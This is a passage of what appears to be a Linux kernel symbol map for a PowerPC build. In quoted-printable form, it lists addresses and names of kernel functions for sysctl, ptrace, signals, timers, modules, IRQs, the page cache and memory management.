10128f4c t unuse_table=0A=
10128f84 t test_perm=0A=
10128fe8 T do_sysctl_strategy=0A=
1012919c T do_sysctl=0A=
101293bc T sys_sysctl=0A=
10129414 t unregister_proc_table=0A=
101294b0 T unregister_sysctl_table=0A=
10129530 t register_proc_table=0A=
10129650 T register_sysctl_table=0A=
10129700 t do_rw_proc=0A=
101297f8 t proc_opensys=0A=
10129814 t proc_readsys=0A=
10129844 t proc_writesys=0A=
10129874 T proc_dostring=0A=
10129a50 t proc_doutsstring=0A=
10129b1c t do_proc_dointvec_conv=0A=
10129b68 t do_proc_dointvec=0A=
10129f54 T proc_dointvec=0A=
10129f84 t do_proc_dointvec_bset_conv=0A=
1012a030 T proc_dointvec_bset=0A=
1012a0ac t do_proc_dointvec_minmax_conv=0A=
1012a124 T proc_dointvec_minmax=0A=
1012a184 t do_proc_doulongvec_minmax=0A=
1012a588 T proc_doulongvec_minmax=0A=
1012a5bc T proc_doulongvec_ms_jiffies_minmax=0A=
1012a5f0 t do_proc_dointvec_jiffies_conv=0A=
1012a660 t do_proc_dointvec_userhz_jiffies_conv=0A=
1012a7b8 t do_proc_dointvec_ms_jiffies_conv=0A=
1012a810 T proc_dointvec_jiffies=0A=
1012a848 T proc_dointvec_userhz_jiffies=0A=
1012a880 T proc_dointvec_ms_jiffies=0A=
1012a8b8 T sysctl_string=0A=
1012aa60 T sysctl_intvec=0A=
1012ab34 T sysctl_jiffies=0A=
1012ac5c T sysctl_ms_jiffies=0A=
1012ad70 T sys_capget=0A=
1012aeb0 T sys_capset=0A=
1012b1f0 T __ptrace_link=0A=
1012b2ec T ptrace_untrace=0A=
1012b360 T __ptrace_unlink=0A=
1012b468 T ptrace_check_attach=0A=
1012b4e0 t may_attach=0A=
1012b5f0 T ptrace_may_attach=0A=
1012b610 T ptrace_attach=0A=
1012b6dc T ptrace_detach=0A=
1012b748 T access_process_vm=0A=
1012bad4 T ptrace_readdata=0A=
1012bb94 T ptrace_writedata=0A=
1012bc60 T ptrace_request=0A=
1012be24 T sys_ptrace=0A=
1012bf68 T init_timer=0A=
1012bf7c t internal_add_timer=0A=
1012c014 t lock_timer_base=0A=
1012c03c T del_timer=0A=
1012c0ac T __mod_timer=0A=
1012c184 T add_timer_on=0A=
1012c1f0 T mod_timer=0A=
1012c258 t cascade=0A=
1012c2f0 t run_timer_softirq=0A=
1012c4cc T run_local_timers=0A=
1012c4e8 T update_process_times=0A=
1012c610 T do_timer=0A=
1012cab8 T sys_alarm=0A=
1012cb18 T sys_getpid=0A=
1012cb28 T sys_getppid=0A=
1012cb40 T sys_getuid=0A=
1012cb50 T sys_geteuid=0A=
1012cb60 T sys_getgid=0A=
1012cb70 T sys_getegid=0A=
1012cb80 t process_timeout=0A=
1012cb98 T sys_gettid=0A=
1012cba8 T sys_nanosleep=0A=
1012cdf8 T sys_sysinfo=0A=
1012cfb8 t timer_cpu_notify=0A=
1012d04c T msleep=0A=
1012d088 T msleep_interruptible=0A=
1012d0d8 T find_user=0A=
1012d140 T free_uid=0A=
1012d1b0 T alloc_uid=0A=
1012d354 T switch_uid=0A=
1012d3b8 t sig_ignored=0A=
1012d448 T recalc_sigpending_tsk=0A=
1012d4cc T recalc_sigpending=0A=
1012d4ec t __sigqueue_alloc=0A=
1012d5a0 t flush_sigqueue=0A=
1012d630 T flush_signals=0A=
1012d684 T __exit_sighand=0A=
1012d6cc T exit_sighand=0A=
1012d6f0 T __exit_signal=0A=
1012d8a0 T exit_signal=0A=
1012d8e0 T flush_signal_handlers=0A=
1012d954 T block_all_signals=0A=
1012d98c T unblock_all_signals=0A=
1012d9cc t __dequeue_signal=0A=
1012dc70 T dequeue_signal=0A=
1012dd34 T signal_wake_up=0A=
1012dd74 t rm_from_queue=0A=
1012de4c t check_kill_permission=0A=
1012df14 t send_signal=0A=
1012e058 t specific_send_sig_info=0A=
1012e158 T force_sig_info=0A=
1012e228 T force_sig_specific=0A=
1012e248 t __group_complete_signal=0A=
1012e56c T zap_other_threads=0A=
1012e5f8 T send_sig_info=0A=
1012e62c T send_sig=0A=
1012e654 T force_sig=0A=
1012e674 T force_sigsegv=0A=
1012e6a8 T sigqueue_alloc=0A=
1012e6e0 T sigqueue_free=0A=
1012e79c T send_sigqueue=0A=
1012e8d8 t do_notify_parent_cldstop=0A=
1012ea1c t handle_stop_signal=0A=
1012ebc4 T send_group_sigqueue=0A=
1012ece4 T __group_send_sig_info=0A=
1012ed98 T kill_proc_info_as_uid=0A=
1012ee74 T group_send_sig_info=0A=
1012eeec T send_group_sig_info=0A=
1012ef04 T kill_proc_info=0A=
1012ef54 T kill_proc=0A=
1012ef80 T __kill_pg_info=0A=
1012f02c T kill_pg_info=0A=
1012f044 T kill_pg=0A=
1012f070 T do_notify_parent=0A=
1012f238 t ptrace_stop=0A=
1012f370 T ptrace_notify=0A=
1012f428 t finish_stop=0A=
1012f488 T get_signal_to_deliver=0A=
1012f990 T sys_restart_syscall=0A=
1012f9b8 T do_no_restart_syscall=0A=
1012f9c0 T sigprocmask=0A=
1012fad8 T sys_rt_sigprocmask=0A=
1012fbcc T do_sigpending=0A=
1012fc6c T sys_rt_sigpending=0A=
1012fc84 T copy_siginfo_from_user=0A=
1012fca8 T copy_siginfo_to_user=0A=
101300f8 T sys_rt_sigtimedwait=0A=
101303a0 T sys_kill=0A=
101304e8 t do_tkill=0A=
101305d8 T sys_tgkill=0A=
1013060c T sys_tkill=0A=
10130640 T sys_rt_sigqueueinfo=0A=
101306a8 T do_sigaction=0A=
101308a0 T sys_sigpending=0A=
101308bc T sys_sigprocmask=0A=
10130a00 T sys_rt_sigaction=0A=
10130abc T sys_sgetmask=0A=
10130acc T sys_ssetmask=0A=
10130b20 T sys_signal=0A=
10130b54 T sys_pause=0A=
10130b84 T notifier_chain_register=0A=
10130bbc T notifier_chain_unregister=0A=
10130bec T notifier_call_chain=0A=
10130c48 T register_reboot_notifier=0A=
10130c6c T unregister_reboot_notifier=0A=
10130c90 t set_one_prio=0A=
10130d54 T sys_setpriority=0A=
10130f48 T sys_getpriority=0A=
10131128 T emergency_restart=0A=
10131144 T kernel_restart_prepare=0A=
1013117c T kernel_restart=0A=
101311d4 T kernel_kexec=0A=
101311d8 T kernel_halt_prepare=0A=
10131210 T kernel_halt=0A=
10131238 T kernel_power_off_prepare=0A=
10131270 T kernel_power_off=0A=
10131298 T sys_reboot=0A=
10131438 t deferred_cad=0A=
10131454 T ctrl_alt_del=0A=
1013149c T sys_setregid=0A=
101315d0 T sys_setgid=0A=
101316c4 t set_user=0A=
1013176c T sys_setreuid=0A=
10131950 T sys_setuid=0A=
10131a80 T sys_setresuid=0A=
10131c84 T sys_getresuid=0A=
10131d10 T sys_setresgid=0A=
10131e64 T sys_getresgid=0A=
10131ef0 T sys_setfsuid=0A=
10131fc0 T sys_setfsgid=0A=
10132068 T sys_times=0A=
1013248c T sys_setpgid=0A=
10132610 T sys_getpgid=0A=
10132658 T sys_getpgrp=0A=
1013266c T sys_getsid=0A=
101326b4 T sys_setsid=0A=
101327dc T groups_alloc=0A=
101328e0 T groups_free=0A=
10132948 T groups_search=0A=
101329c0 T set_current_groups=0A=
10132b2c T sys_getgroups=0A=
10132c5c T sys_setgroups=0A=
10132d74 T in_group_p=0A=
10132e1c T in_egroup_p=0A=
10132ec4 T sys_newuname=0A=
10132f20 T sys_sethostname=0A=
10132fe8 T sys_gethostname=0A=
10133078 T sys_setdomainname=0A=
10133140 T sys_getrlimit=0A=
1013319c T sys_old_getrlimit=0A=
10133218 T sys_setrlimit=0A=
10133360 T getrusage=0A=
10133908 T sys_getrusage=0A=
10133948 T sys_umask=0A=
10133974 T sys_prctl=0A=
10133bd0 t ____call_usermodehelper=0A=
10133c60 t wait_for_helper=0A=
10133cec t __call_usermodehelper=0A=
10133d60 T call_usermodehelper_keys=0A=
10133e64 T request_module=0A=
10133fbc t __queue_work=0A=
1013401c T queue_work=0A=
10134098 t delayed_work_timer_fn=0A=
101340bc T queue_delayed_work=0A=
1013417c t worker_thread=0A=
101343f4 t flush_cpu_workqueue=0A=
101345d8 T flush_workqueue=0A=
10134610 t create_workqueue_thread=0A=
101346d0 t cleanup_workqueue_thread=0A=
10134704 T destroy_workqueue=0A=
10134790 T __create_workqueue=0A=
101348ac T schedule_work=0A=
101348d0 T schedule_delayed_work=0A=
101348f8 T schedule_delayed_work_on=0A=
101349b8 T flush_scheduled_work=0A=
101349d8 T cancel_rearming_delayed_workqueue=0A=
10134a2c T cancel_rearming_delayed_work=0A=
10134a50 T keventd_up=0A=
10134a64 T current_is_keventd=0A=
10134ac8 T init_workqueues=0A=
10134b84 T free_pidmap=0A=
10134be4 T alloc_pidmap=0A=
10134eb8 T find_pid=0A=
10134f2c T attach_pid=0A=
1013501c t __detach_pid=0A=
10135114 T detach_pid=0A=
1013517c T find_task_by_pid_type=0A=
101351b4 T switch_exec_pids=0A=
101352e0 T call_rcu=0A=
10135338 T call_rcu_bh=0A=
1013536c T rcu_batches_completed=0A=
10135378 t rcu_barrier_callback=0A=
101353bc T rcu_barrier=0A=
101354dc t rcu_start_batch=0A=
10135530 t __rcu_process_callbacks=0A=
10135724 t rcu_process_callbacks=0A=
10135770 T rcu_check_callbacks=0A=
10135820 t rcu_init_percpu_data=0A=
10135888 t rcu_cpu_notify=0A=
101358f4 t wakeme_after_rcu=0A=
10135910 T synchronize_rcu=0A=
1013594c T synchronize_kernel=0A=
10135964 T inter_module_register=0A=
10135a7c T inter_module_unregister=0A=
10135b7c t inter_module_get=0A=
10135c2c T inter_module_get_request=0A=
10135c74 T inter_module_put=0A=
10135d5c T search_exception_tables=0A=
10135d9c t core_kernel_text=0A=
10135de0 T __kernel_text_address=0A=
10135e1c T kernel_text_address=0A=
10135e58 T parse_args=0A=
10136130 T param_set_byte=0A=
10136194 T param_get_byte=0A=
101361bc T param_set_short=0A=
10136220 T param_get_short=0A=
1013624c T param_set_ushort=0A=
101362b0 T param_get_ushort=0A=
101362d8 T param_set_int=0A=
10136330 T param_get_int=0A=
10136358 T param_set_uint=0A=
101363b0 T param_get_uint=0A=
101363d8 T param_set_long=0A=
10136430 T param_get_long=0A=
10136458 T param_set_ulong=0A=
101364b0 T param_get_ulong=0A=
101364d8 T param_set_charp=0A=
10136548 T param_get_charp=0A=
10136570 T param_set_bool=0A=
101365e0 T param_get_bool=0A=
10136614 T param_set_invbool=0A=
1013667c T param_get_invbool=0A=
101366d0 T param_array=0A=
10136808 T param_array_set=0A=
10136864 T param_array_get=0A=
10136940 T param_set_copystring=0A=
101369ac T param_get_string=0A=
101369d0 t param_attr_show=0A=
10136a34 t param_attr_store=0A=
10136a74 t param_sysfs_setup=0A=
10136bd4 T module_param_sysfs_setup=0A=
10136c14 T module_param_sysfs_remove=0A=
10136c50 t module_attr_show=0A=
10136cf4 t module_attr_store=0A=
10136d98 T register_posix_clock=0A=
10136df0 t tstojiffie=0A=
10136eb0 t add_clockset_delta=0A=
10137020 t remove_from_abslist=0A=
10137044 t schedule_next_timer=0A=
1013716c T posix_timer_event=0A=
10137250 t posix_timer_fn=0A=
10137418 t release_posix_timer=0A=
101374ac T sys_timer_create=0A=
101377e4 t good_timespec=0A=
1013780c t lock_timer=0A=
1013788c T do_schedule_next_timer=0A=
10137904 t common_timer_get=0A=
10137be4 T sys_timer_gettime=0A=
10137c8c T sys_timer_getoverrun=0A=
10137cc0 t do_posix_clock_monotonic_gettime_parts=0A=
10137d44 t adjust_abs_time=0A=
10137f80 T sys_timer_settime=0A=
10138210 T sys_timer_delete=0A=
10138310 T exit_itimers=0A=
10138424 t do_posix_clock_monotonic_get=0A=
101384ac T do_posix_clock_monotonic_gettime=0A=
101384cc T do_posix_clock_nosettime=0A=
101384d4 T do_posix_clock_notimer_create=0A=
101384dc T do_posix_clock_nonanosleep=0A=
101384e4 T sys_clock_settime=0A=
101385ac T sys_clock_gettime=0A=
10138680 T sys_clock_getres=0A=
10138768 T clock_was_set=0A=
1013898c t common_nsleep=0A=
10138d44 T sys_clock_nanosleep=0A=
10138e90 T clock_nanosleep_restart=0A=
10138efc T kthread_should_stop=0A=
10138f18 t kthread=0A=
10139064 t keventd_create_kthread=0A=
101390c8 T kthread_create=0A=
101391c8 T kthread_bind=0A=
1013921c T kthread_stop_sem=0A=
10139368 T kthread_stop=0A=
10139384 T add_wait_queue=0A=
101393b4 T add_wait_queue_exclusive=0A=
101393e4 T remove_wait_queue=0A=
1013941c T prepare_to_wait=0A=
10139468 T prepare_to_wait_exclusive=0A=
101394b4 T finish_wait=0A=
101394f8 T autoremove_wake_function=0A=
10139534 T wake_bit_function=0A=
10139590 T bit_waitqueue=0A=
10139600 T __wake_up_bit=0A=
10139634 T wake_up_bit=0A=
1013966c T __kfifo_put=0A=
10139700 T __kfifo_get=0A=
10139794 T kfifo_init=0A=
10139844 T kfifo_alloc=0A=
10139948 T kfifo_free=0A=
10139970 W compat_sys_futex=0A=
10139970 W compat_sys_get_mempolicy=0A=
10139970 W compat_sys_kexec_load=0A=
10139970 W compat_sys_keyctl=0A=
10139970 W compat_sys_mbind=0A=
10139970 W compat_sys_mq_getsetattr=0A=
10139970 W compat_sys_mq_notify=0A=
10139970 W compat_sys_mq_open=0A=
10139970 W compat_sys_mq_timedreceive=0A=
10139970 W compat_sys_mq_timedsend=0A=
10139970 W compat_sys_set_mempolicy=0A=
10139970 W compat_sys_socketcall=0A=
10139970 W ppc_rtas=0A=
10139970 W sys32_ipc=0A=
10139970 W sys32_sysctl=0A=
10139970 W sys_acct=0A=
10139970 W sys_add_key=0A=
10139970 W sys_get_mempolicy=0A=
10139970 W sys_kexec_load=0A=
10139970 W sys_keyctl=0A=
10139970 W sys_lookup_dcookie=0A=
10139970 W sys_mbind=0A=
10139970 T sys_ni_syscall=0A=
10139970 W sys_pciconfig_iobase=0A=
10139970 W sys_quotactl=0A=
10139970 W sys_request_key=0A=
10139970 W sys_set_mempolicy=0A=
10139978 t check_clock=0A=
10139a04 t sample_to_timespec=0A=
10139bc8 t bump_cpu_timer=0A=
10139d28 T posix_cpu_clock_getres=0A=
10139d78 T posix_cpu_clock_set=0A=
10139d98 t cpu_clock_sample=0A=
10139e24 t cpu_clock_sample_group_locked=0A=
10139f74 t cpu_clock_sample_group=0A=
10139f98 T posix_cpu_clock_get=0A=
1013a080 T posix_cpu_timer_create=0A=
1013a18c T posix_cpu_timer_del=0A=
1013a254 t cleanup_timers=0A=
1013a350 T posix_cpu_timers_exit=0A=
1013a388 T posix_cpu_timers_exit_group=0A=
1013a3e4 t process_timer_rebalance=0A=
1013a5ac t clear_dead_task=0A=
1013a634 t arm_timer=0A=
1013a8ac T posix_cpu_timer_schedule=0A=
1013a9d4 t cpu_timer_fire=0A=
1013aa58 T posix_cpu_timer_set=0A=
1013afd4 T posix_cpu_timer_get=0A=
1013b1d4 T run_posix_cpu_timers=0A=
1013b8ec T set_process_cpu_timer=0A=
1013ba14 T posix_cpu_nsleep=0A=
1013bc18 t posix_cpu_clock_nanosleep_restart=0A=
1013bc6c t process_cpu_clock_getres=0A=
1013bc88 t process_cpu_clock_get=0A=
1013bca4 t process_cpu_timer_create=0A=
1013bcc4 t process_cpu_nsleep=0A=
1013bce0 t thread_cpu_clock_getres=0A=
1013bcfc t thread_cpu_clock_get=0A=
1013bd18 t thread_cpu_timer_create=0A=
1013bd38 t thread_cpu_nsleep=0A=
1013bd40 t hash_futex=0A=
1013be04 t get_futex_key=0A=
1013bf38 t drop_key_refs=0A=
1013bf98 t wake_futex=0A=
1013bffc t futex_requeue=0A=
1013c284 t unqueue_me=0A=
1013c31c t futex_close=0A=
1013c348 t futex_poll=0A=
1013c39c T do_futex=0A=
1013c9a0 T sys_futex=0A=
1013cae4 t futexfs_get_sb=0A=
1013cb10 T module_refcount=0A=
1013cb18 T register_module_notifier=0A=
1013cbb4 T unregister_module_notifier=0A=
1013cc50 T __module_put_and_exit=0A=
1013cc94 t find_sec=0A=
1013cd34 t __find_symbol=0A=
1013cf10 t find_module=0A=
1013cf90 t setup_modinfo_version=0A=
1013cfb8 t show_modinfo_version=0A=
1013cfe4 t modinfo_version_exists=0A=
1013cff4 t free_modinfo_version=0A=
1013d018 t setup_modinfo_srcversion=0A=
1013d040 t show_modinfo_srcversion=0A=
1013d06c t modinfo_srcversion_exists=0A=
1013d07c t free_modinfo_srcversion=0A=
1013d0a0 t module_unload_free=0A=
1013d1a0 t __try_stop_module=0A=
1013d1f8 T __symbol_put=0A=
1013d28c t show_refcnt=0A=
1013d2c0 t obsparm_copy_string=0A=
1013d2e8 t set_obsolete=0A=
1013d5cc t module_sect_show=0A=
1013d5f8 t __unlink_module=0A=
1013d62c t free_module=0A=
1013d75c T sys_delete_module=0A=
1013d9e8 T __symbol_get=0A=
1013da68 t get_offset=0A=
1013da9c t get_modinfo=0A=
1013db98 T is_exported=0A=
1013dc60 t load_module=0A=
1013ed94 t __link_module=0A=
1013edbc T sys_init_module=0A=
1013f0dc T module_address_lookup=0A=
1013f328 T module_get_kallsym=0A=
1013f494 t mod_find_symname=0A=
1013f518 T module_kallsyms_lookup_name=0A=
1013f5d8 t m_start=0A=
1013f69c t m_next=0A=
1013f6cc t m_stop=0A=
1013f70c t m_show=0A=
1013f874 T search_module_extables=0A=
1013f910 T __module_text_address=0A=
1013f97c T module_text_address=0A=
1013f9a0 T symbol_put_addr=0A=
1013fa34 T print_modules=0A=
1013fab8 T module_add_driver=0A=
1013fb00 T module_remove_driver=0A=
1013fb30 t kallsyms_expand_symbol=0A=
1013fbb8 t get_symbol_offset=0A=
1013fc00 T kallsyms_lookup_name=0A=
1013fc9c T kallsyms_lookup=0A=
1013ff0c T __print_symbol=0A=
1013ffd0 t reset_iter=0A=
10140018 t update_iter=0A=
10140138 t s_next=0A=
10140184 t s_start=0A=
101401bc t s_stop=0A=
101401c0 t s_show=0A=
10140240 t kallsyms_open=0A=
101402c0 t kallsyms_release=0A=
101402fc t ikconfig_read_current=0A=
10140394 t hotplug_seqnum_show=0A=
101403c4 t end_none=0A=
101403c8 t enable_none=0A=
101403cc t disable_none=0A=
101403d0 t shutdown_none=0A=
101403d4 t startup_none=0A=
101403dc t ack_none=0A=
101403f4 T no_action=0A=
101403fc T handle_IRQ_event=0A=
10140498 T __do_IRQ=0A=
101405dc T disable_irq_nosync=0A=
1014063c T disable_irq=0A=
10140680 T enable_irq=0A=
1014076c T can_request_irq=0A=
101407b0 T setup_irq=0A=
101408d8 T free_irq=0A=
101409b0 T request_irq=0A=
10140a78 t __report_bad_irq=0A=
10140b08 T note_interrupt=0A=
10140d38 T probe_irq_on=0A=
10140eac T probe_irq_mask=0A=
10140f78 T probe_irq_off=0A=
1014103c T register_handler_proc=0A=
10141118 T register_irq_proc=0A=
101411c0 T unregister_handler_proc=0A=
101411f8 T init_irq_proc=0A=
10141244 T __filemap_copy_from_user_iovec=0A=
101412f8 T __remove_from_page_cache=0A=
10141354 T remove_from_page_cache=0A=
101413ac t sync_page=0A=
10141404 t __filemap_fdatawrite_range=0A=
1014149c T filemap_fdatawrite=0A=
101414d4 t filemap_fdatawrite_range=0A=
10141504 T filemap_flush=0A=
10141538 T add_to_page_cache=0A=
10141604 T add_to_page_cache_lru=0A=
1014163c t page_waitqueue=0A=
1014168c T wait_on_page_bit=0A=
10141758 t wait_on_page_writeback_range=0A=
101418ac T filemap_write_and_wait_range=0A=
10141934 T filemap_fdatawait=0A=
10141980 T filemap_write_and_wait=0A=
101419bc T sync_page_range=0A=
10141b0c T unlock_page=0A=
10141b84 T end_page_writeback=0A=
10141c18 T __lock_page=0A=
10141cc4 T find_get_page=0A=
10141d14 T find_trylock_page=0A=
10141d60 T find_lock_page=0A=
10141e44 T find_or_create_page=0A=
10141f38 T find_get_pages=0A=
10141fb4 T find_get_pages_tag=0A=
10142050 T grab_cache_page_nowait=0A=
10142150 T do_generic_mapping_read=0A=
101425e0 T file_read_actor=0A=
10142730 T file_send_actor=0A=
101427b8 T generic_file_sendfile=0A=
10142820 T sys_readahead=0A=
101428f0 t page_cache_read=0A=
101429e8 T filemap_nopage=0A=
10142d40 T filemap_populate=0A=
10143058 T generic_file_mmap=0A=
101430ac T generic_file_readonly_mmap=0A=
101430dc T read_cache_page=0A=
101432dc T remove_suid=0A=
1014335c T generic_write_checks=0A=
10143594 T generic_file_buffered_write=0A=
10143b40 t generic_file_direct_IO=0A=
10143ca0 T generic_file_direct_write=0A=
10143e14 t __generic_file_aio_write_nolock=0A=
10144288 t __generic_file_write_nolock=0A=
1014431c T generic_file_writev=0A=
10144434 T generic_file_write=0A=
10144554 T generic_file_aio_write=0A=
101446b0 T generic_file_aio_write_nolock=0A=
101447f4 T generic_file_write_nolock=0A=
10144888 T __generic_file_aio_read=0A=
10144a54 T generic_file_readv=0A=
10144ae8 T generic_file_read=0A=
10144b94 T generic_file_aio_read=0A=
10144c04 t add_element=0A=
10144c64 t remove_element=0A=
10144cbc t free_pool=0A=
10144d10 T mempool_create_node=0A=
10144e1c T mempool_create=0A=
10144e3c T mempool_resize=0A=
10144fd4 T mempool_destroy=0A=
10145024 T mempool_alloc=0A=
10145120 T mempool_free=0A=
101451ac T mempool_alloc_slab=0A=
101451d0 T mempool_free_slab=0A=
101451f4 T badness=0A=
10145334 t __oom_kill_task=0A=
1014542c t oom_kill_task=0A=
10145500 T out_of_memory=0A=
101456b4 T sys_fadvise64_64=0A=
1014589c T sys_fadvise64=0A=
101458cc t bad_range=0A=
10145918 t bad_page=0A=
101459ec t free_pages_bulk=0A=
10145cd8 T __mod_page_state=0A=
10145cfc T __free_pages_ok=0A=
10145e48 T set_page_refs=0A=
10145e58 t __rmqueue=0A=
10145fd8 t free_hot_cold_page=0A=
10146100 T __pagevec_free=0A=
10146150 T free_hot_page=0A=
1014616c T free_cold_page=0A=
10146188 T zone_watermark_ok=0A=
1014622c t get_page_from_freelist=0A=
101465cc T __alloc_pages=0A=
10146870 T __get_free_pages=0A=
101468fc T get_zeroed_page=0A=
101469b0 T __free_pages=0A=
10146a40 T free_pages=0A=
10146ab8 T nr_free_pages=0A=
10146afc t nr_free_zone_pages=0A=
10146b44 T nr_free_buffer_pages=0A=
10146b60 T nr_free_pagecache_pages=0A=
10146b7c T __get_page_state=0A=
10146d60 T get_page_state_node=0A=
10146d8c T get_page_state=0A=
10146db4 T get_full_page_state=0A=
10146ddc T __read_page_state=0A=
10146dec T __get_zone_counts=0A=
10146e40 T get_zone_counts=0A=
10146ee4 T si_meminfo=0A=
10146f2c T show_free_areas=0A=
10147268 T memmap_init_zone=0A=
101472e0 T zone_init_free_lists=0A=
10147300 T zonetable_add=0A=
1014731c T setup_pageset=0A=
101473b0 t frag_start=0A=
101473e8 t frag_next=0A=
10147408 t frag_stop=0A=
1014740c t frag_show=0A=
101474e4 t zoneinfo_show=0A=
101476ec t vmstat_start=0A=
10147784 t vmstat_next=0A=
101477c8 t vmstat_show=0A=
10147808 t vmstat_stop=0A=
1014782c t setup_per_zone_lowmem_reserve=0A=
101478f0 T setup_per_zone_pages_min=0A=
101479ec T min_free_kbytes_sysctl_handler=0A=
10147a20 T lowmem_reserve_ratio_sysctl_handler=0A=
10147a54 t get_writeback_state=0A=
10147a9c t get_dirty_limits=0A=
10147bd8 T balance_dirty_pages_ratelimited=0A=
10147db0 T throttle_vm_writeout=0A=
10147e14 t background_writeout=0A=
10147ee4 T wakeup_pdflush=0A=
10147f1c t wb_kupdate=0A=
1014807c T dirty_writeback_centisecs_handler=0A=
101480e4 t wb_timer_fn=0A=
10148128 t laptop_flush=0A=
10148140 t laptop_timer_fn=0A=
10148164 T laptop_io_completion=0A=
101481a4 T laptop_sync_completion=0A=
101481c4 t set_ratelimit=0A=
10148210 t ratelimit_handler=0A=
1014822c T do_writepages=0A=
10148278 T clear_page_dirty_for_io=0A=
1014831c T write_one_page=0A=
10148474 T __set_page_dirty_nobuffers=0A=
10148590 T redirty_page_for_writepage=0A=
101485bc T set_page_dirty=0A=
10148638 T set_page_dirty_lock=0A=
10148694 T test_set_page_writeback=0A=
101487bc T test_clear_page_dirty=0A=
1014889c T test_clear_page_writeback=0A=
1014899c T mapping_tagged=0A=
101489c0 T pdflush_operation=0A=
10148a7c t start_one_pdflush_thread=0A=
10148ac0 t pdflush=0A=
10148c9c T default_unplug_io_fn=0A=
10148ca0 T file_ra_state_init=0A=
10148cb8 T read_cache_pages=0A=
10148e18 t __do_page_cache_readahead=0A=
101490a0 T force_page_cache_readahead=0A=
10149148 T do_page_cache_readahead=0A=
101491e0 t blockable_page_cache_readahead=0A=
101492c0 t make_ahead_window=0A=
10149374 T page_cache_readahead=0A=
10149564 T handle_ra_miss=0A=
1014957c T max_sane_readahead=0A=
101495cc T kmem_find_general_cachep=0A=
101495f8 t cache_estimate=0A=
101496b0 t start_cpu_timer=0A=
10149740 t kmem_freepages=0A=
10149878 t smp_call_function_all_cpus=0A=
101498a4 T __kmalloc=0A=
1014992c T kmem_cache_alloc=0A=
1014997c t alloc_arraycache=0A=
101499cc t cpuup_callback=0A=
10149c70 t init_list=0A=
10149d8c T kzalloc=0A=
10149dc8 t cache_alloc_refill=0A=
1014a2cc T kfree=0A=
1014a35c T kmem_cache_free=0A=
1014a3cc t slab_destroy=0A=
1014a4bc t free_block=0A=
1014a604 t drain_array_locked=0A=
1014a6cc t cache_flusharray=0A=
1014a778 t do_drain=0A=
1014a7a4 t __cache_shrink=0A=
1014a8b4 T kmem_cache_shrink=0A=
1014a910 t kmem_rcu_free=0A=
1014a95c T kmem_cache_destroy=0A=
1014ab58 T kmem_ptr_validate=0A=
1014abb0 T kmem_cache_size=0A=
1014abb8 T kmem_cache_name=0A=
1014abc0 t do_ccupdate_local=0A=
1014abd8 t do_tune_cpucache=0A=
1014aea0 t enable_cpucache=0A=
1014af1c T kmem_cache_create=0A=
1014b55c t cache_reap=0A=
1014b764 t s_start=0A=
1014b864 t s_next=0A=
1014b89c t s_stop=0A=
1014b8dc t s_show=0A=
1014bb78 T slabinfo_write=0A=
1014bd10 T ksize=0A=
1014bd40 T kstrdup=0A=
1014bda0 T __pagevec_release_nonlru=0A=
1014be8c T rotate_reclaimable_page=0A=
1014bf78 T activate_page=0A=
1014c034 T mark_page_accessed=0A=
1014c09c T __page_cache_release=0A=
1014c17c T put_page=0A=
1014c250 T release_pages=0A=
1014c424 T __pagevec_lru_add_active=0A=
1014c554 T lru_cache_add_active=0A=
1014c5c4 T __pagevec_lru_add=0A=
1014c6cc T lru_add_drain=0A=
1014c714 T lru_cache_add=0A=
1014c784 T __pagevec_release=0A=
1014c7b4 T pagevec_strip=0A=
1014c848 T pagevec_lookup=0A=
1014c878 T pagevec_lookup_tag=0A=
1014c8b0 t truncate_complete_page=0A=
1014c934 t invalidate_complete_page=0A=
1014c9f0 T truncate_inode_pages=0A=
1014cc6c T invalidate_mapping_pages=0A=
1014cda4 T invalidate_inode_pages=0A=
1014cdc4 T invalidate_inode_pages2_range=0A=
1014cff0 T invalidate_inode_pages2=0A=
1014d010 T set_shrinker=0A=
1014d0a0 T remove_shrinker=0A=
1014d10c t shrink_slab=0A=
1014d320 t isolate_lru_pages=0A=
1014d45c t shrink_zone=0A=
1014e1b8 T try_to_free_pages=0A=
1014e40c t kswapd=0A=
1014e804 T wakeup_kswapd=0A=
1014e880 T zone_reclaim=0A=
1014e928 T sys_set_zone_reclaim=0A=
1014e9a8 T vma_prio_tree_add=0A=
1014ea94 T vma_prio_tree_insert=0A=
1014eae4 T vma_prio_tree_remove=0A=
1014ebf8 T vma_prio_tree_next=0A=
1014ec64 t zap_pte=0A=
1014eefc T install_page=0A=
1014f0a0 T install_file_pte=0A=
1014f19c T sys_remap_file_pages=0A=
1014f384 t page_pool_alloc_isa=0A=
1014f3f0 t page_pool_free=0A=
1014f40c T init_emergency_isa_pool=0A=
1014f494 t bounce_end_io=0A=
1014f570 t bounce_end_io_write=0A=
1014f5a4 t bounce_end_io_write_isa=0A=
1014f5d8 t __bounce_end_io_read=0A=
1014f6f0 t bounce_end_io_read=0A=
1014f724 t bounce_end_io_read_isa=0A=
1014f758 T blk_queue_bounce=0A=
1014fa34 T sys_madvise=0A=
1014fd8c T pgd_clear_bad=0A=
1014fdbc T pud_clear_bad=0A=
1014fdc0 T pmd_clear_bad=0A=
1014fdf8 T free_pgd_range=0A=
1014fff0 T free_pgtables=0A=
101500ac T __pte_alloc=0A=
10150170 T __pte_alloc_kernel=0A=
101501dc T print_bad_pte=0A=
1015024c T vm_normal_page=0A=
101502e4 T __pmd_alloc=0A=
1015031c T copy_page_range=0A=
10150794 T unmap_vmas=0A=
10150ed0 T zap_page_range=0A=
10151018 T follow_page=0A=
101511d4 T in_gate_area_no_task=0A=
101511dc T get_gate_vma=0A=
101511e4 T zeromap_page_range=0A=
1015149c T get_locked_pte=0A=
10151538 T vm_insert_page=0A=
1015168c T remap_pfn_range=0A=
10151940 t do_wp_page=0A=
10151f9c t unmap_mapping_range_vma=0A=
1015205c T unmap_mapping_range=0A=
101522d4 T vmtruncate=0A=
10152408 T swapin_readahead=0A=
101524ac T __handle_mm_fault=0A=
10152f8c T get_user_pages=0A=
101532e8 T __pud_alloc=0A=
101532f0 T make_pages_present=0A=
101533d0 T vmalloc_to_page=0A=
10153438 T vmalloc_to_pfn=0A=
10153460 t mincore_vma=0A=
101535b8 T sys_mincore=0A=
10153718 t mlock_fixup=0A=
1015385c t do_mlock=0A=
1015394c T sys_mlock=0A=
10153a68 T sys_munlock=0A=
10153ae0 t do_mlockall=0A=
10153b84 T sys_mlockall=0A=
10153c88 T sys_munlockall=0A=
10153cd4 T user_shm_lock=0A=
10153d50 T user_shm_unlock=0A=
10153d80 T find_vma=0A=
10153de4 T __vm_enough_memory=0A=
